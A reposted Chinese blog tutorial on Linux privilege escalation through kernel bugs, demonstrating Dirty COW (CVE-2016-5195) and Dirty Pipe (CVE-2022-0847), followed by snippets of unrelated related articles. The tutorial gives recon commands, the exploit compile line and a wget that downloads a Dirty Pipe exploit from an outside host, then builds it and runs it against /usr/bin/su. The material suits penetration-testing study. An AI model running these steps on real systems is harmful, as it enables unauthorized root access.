草庐IT

LINUX提权之内核漏洞提权篇

小饭er 2023-04-13 原文

本文正在参加「金石计划 . 瓜分6万现金大奖」

前言

在渗透过程中,有时利用某些漏洞可以获取一个低权限的用户,然后想办法提权,提升到root用户权限,从而控制整个系统。 在获取到低权限shell后,通常会检查操作系统的发行版本、内核版本,老版本的系统可能会存在一些漏洞,于是我们可以利用这些版本漏洞进行提权。下面给大家带来的是一些内核提权的例子。

CVE-2016-5195

内核漏洞因为涉及的范围比较多,作为入门就以最著名的CVE-2016-5195(脏牛漏洞)来作为演示:

dirtycow-exp: github.com/gbonacini/C…
dirtycow-检测脚本: github.com/aishee/scan…

简单简述一下它的原理:Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition) 。攻击者可利用此漏洞,来获取高权限,对只读内存映射进行写访问。其中的竞争条件指任务执行顺序异常而导致的应用崩溃,令攻击者有机可乘,进一步执行其他代码。

提权思路

上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功

我们需要检测系统内核版本:

# 查看系统发行版本 
lsb_release -a 
# 查看内核版本 
uname -a 

当发现版本内核在脏牛影响的范围内时,拿到用户权限后将检测脚本上传至靶机:

upload /root/linux-exploit-suggester.sh /tmp/xino.sh 

然后赋予该探针执行权限:

chmod 777 xino.sh 

若要检测到存在,则继续上传我们下载的提权EXP来进行提权操作,注意的是上传的exp需要进行编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil 

执行后可得到root权限,提权脚本还可以通过searchsploit下载到本地:

searchsploitdirty 

下面我们再举例一个其他内核漏洞:

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102

github.com/Arinerron/C…

CVE-2022-0847

该漏洞是 5.8 以来 Linux 内核中的一个漏洞,覆盖任意只读文件中的数据。导致权限提升,因为非特权进程可以将代码注入根进程。

影响版本如下:

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102

我们查看受害靶机内核版本:

uname -a 

发现版本在该漏洞的影响范围内后我们即可尝试进行攻击:

下载漏洞利用文件,编译后运行即可进行提权:

sudo wget https://haxx.in/files/dirtypipez.c 
gcc -o dirtypipe dirtypipez.c
./dirtypipe /usr/bin/su 

原理简述

下面简单讲一下该漏洞的由来,linux系统中存在管道符来完成数据传递,但管道符有一定的局限性:

数据一旦被读走,便不在管道中存在,不可反复读取;
由于管道采用半双工通信方式,因此数据只能在一个方向上流动;
只能在有公共祖先(有血缘)的进程间使用管道。

splice 这个系统调用接口可以将数据从一个文件"零拷贝"到一个 pipe 管道。简单来说就是不需要把内核缓冲区的内容往用户空间拷贝。它所调用的函数copy_page_to_iter_pipe作用是将 pipe 缓存页结构指向要传输的文件的文件缓存页 。我们用splice读取数据到管道上,在 splice中并未清空 pipe_buffer 的标志位,从而让内核误以为该页面可以被写入;,从而将管道页面可写入的状态保留了下来,这给了我们越权写入只读文件的操作。详细流程可以参考以下博客:

dirtypipe.cm4all.com/

结语

今天简单向大家讲解了利用内核漏洞去进行提权的操作,可以发现内核漏洞最主要的就是信息获取后寻找对应的内核漏洞再去攻击,因为内核漏洞有很多所以就挑出了两个常见而且常用的来给大家演示一下,如果对本文感兴趣不妨一键三连。

有关LINUX提权之内核漏洞提权篇的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  3. 【Linux操作系统】——网络配置与SSH远程 - 2

    Linux操作系统——网络配置与SSH远程安装完VMware与系统后,需要进行网络配置。第一个目标为进行SSH连接,可以从本机到VMware进行文件传送,首先需要进行网络配置。1.下载远程软件首先需要先下载安装一款远程软件:FinalShell或者xhell7FinalShellxhell7FinalShell下载:Windows下载http://www.hostbuf.com/downloads/finalshell_install.exemacOS下载http://www.hostbuf.com/downloads/finalshell_install.pkg2.配置CentOS网络安装好

  4. Linux磁盘分区中物理卷(PV)、卷组(VG)、逻辑卷(LV)创建和(LVM)管理 - 2

    文章目录一基础定义二创建逻辑卷2-1准备物理设备2-2创建物理卷2-3创建卷组2-4创建逻辑卷2-5创建文件系统并挂载文件三扩展卷组和缩减卷组3-1准备物理设备3-2创建物理卷3-3扩展卷组3-4查看卷组的详细信息以验证3-5缩减卷组四扩展逻辑卷4-1检查卷组是否有可用的空间4-2扩展逻辑卷4-3扩展文件系统五删除逻辑卷5-1备份数据5-2卸载文件系统5-3删除逻辑卷5-4删除卷组5-5删除物理卷六LVM逻辑卷缩容6-1缩容注意事项6-2标准缩容步骤一基础定义LVM,LogicalVolumeManger,逻辑卷管理,Linux磁盘分区管理的一种机制,建立在硬盘和分区上的一个逻辑层,提高磁盘分

  5. ruby - 如何在 Ruby 中获取 linux 系统信息 - 2

    如何在Ruby中获取linux系统(这必须适用于Fedora、Ubuntu等)的软件/硬件信息? 最佳答案 Chef背后的优秀人才,拥有一颗名为Ohai的优秀gemhttps://github.com/opscode/ohai以散列形式返回系统信息,例如操作系统、内核、规范、fqdn、磁盘、空间、内存、用户、接口(interface)、sshkey等。它非常完整,非常好。它还会安装命令行二进制文件(也称为ohai)。 关于ruby-如何在Ruby中获取linux系统信息,我们在Stack

  6. ruby - rbenv:在 Linux Mint 上找不到 gem 命令 - 2

    我在LinuxMint17.2上。我最近使用apt-getpurgeruby​​删除了ruby​​。然后我安装了rbenv然后rbenvinstall2.3.0所以现在,~/.rbenv/versions/2.3.0/bin/ruby存在。但是现在,我无法执行geminstallrubocop。我明白了:$geminstallrubocoprbenv:gem:commandnotfoundThe`gem'commandexistsintheseRubyversions:2.3.0但是我可以~/.rbenv/versions/2.3.0/bin/geminstallrubocop。但是,

  7. ruby - 在 Linux 上编译 Ruby 1.9.2 所需的先决条件? - 2

    我是Ruby和RoR的新手。我有一个带有Ubuntu镜像的干净Linode实例,我想从源代码编译Ruby而不是使用apt-get。我已经在谷歌上搜索了执行此操作的说明,但经过一些尝试后,当我尝试运行一些教程示例时,我不断收到有关缺少zlib和其他一些包的错误。任何人都可以给我详细的说明(或链接),教我如何在从源代码编译Ruby之前安装必要的必备包吗?我的目的是编译Ruby的最新稳定版本,然后安装Rubygems和Rails。提前感谢您的帮助!!! 最佳答案 Thisblogpost涵盖从源代码编译ruby​​所需的包和安装过程;它引

  8. Linux网络编程必备的POSIX API的细节 - 2

    目录POSIXAPI大集合五元组三次握手的过程,内核协议栈分析listen函数DDOS攻击,洪水攻击DDOS攻击的应对措施数据发送 怎么保证顺序?如何保证包地顺序到达(序号+确认应答机制+重传)TCP断开连接的过程问题1.大量的CLOSE_WAIT+FIN_WAIT2是为啥?time_wait状态存在的原因?POSIXAPI大集合五元组(sip,sport,dip,dport,protocol)三次握手的过程,内核协议栈分析内核协议栈中是有内核数据结构的.  我们send/write数据,都是先发送到内核协议栈中,然后由内核协议栈封装发送到物理介质中传输到对端的对端的接收过程也是经有内核协议栈

  9. Linux export 命令及如何删除export设置的环境变量 - 2

    背景:Linuxexport命令用于设置或显示环境变量。在shell中执行程序时,shell会提供一组环境变量。export可新增,修改或删除环境变量,供后续执行的程序使用。export的效力仅限于该次登陆操作。语法:export[-fnp][变量名称]=[变量设置值]参数说明:-f 代表[变量名称]中为函数名称。-n 删除指定的变量。变量实际上并未删除,只是不会输出到后续指令的执行环境中。-p 列出所有的shell赋予程序的环境变量。实例:列出当前所有的环境变量#export-p//列出当前的环境变量值定义环境变量赋值#exportMYENV=7//定义环境变量并赋值添加环境变量:默认保存在

  10. Linux操作系统CentOS7安装Nginx[详细版] - 2

    Nginx安装1.官网下载Nginx2.使用XShell和Xftp将压缩包上传到Linux虚拟机中3.解压文件nginx-1.20.2.tar.gz4.配置nginx5.启动nginx6.拓展(修改端口和常用命令)(一)修改nginx端口(二)常用命令1.官网下载Nginxhttp://nginx.org/en/download.html这里我下载的是1.20.2版本,大家按需下载对应稳定版即可2.使用XShell和Xftp将压缩包上传到Linux虚拟机中没有XShell可以参考《Linux操作系统CentOS7连接XShell》3.解压文件nginx-1.20.2.tar.gz1)检查是否存

随机推荐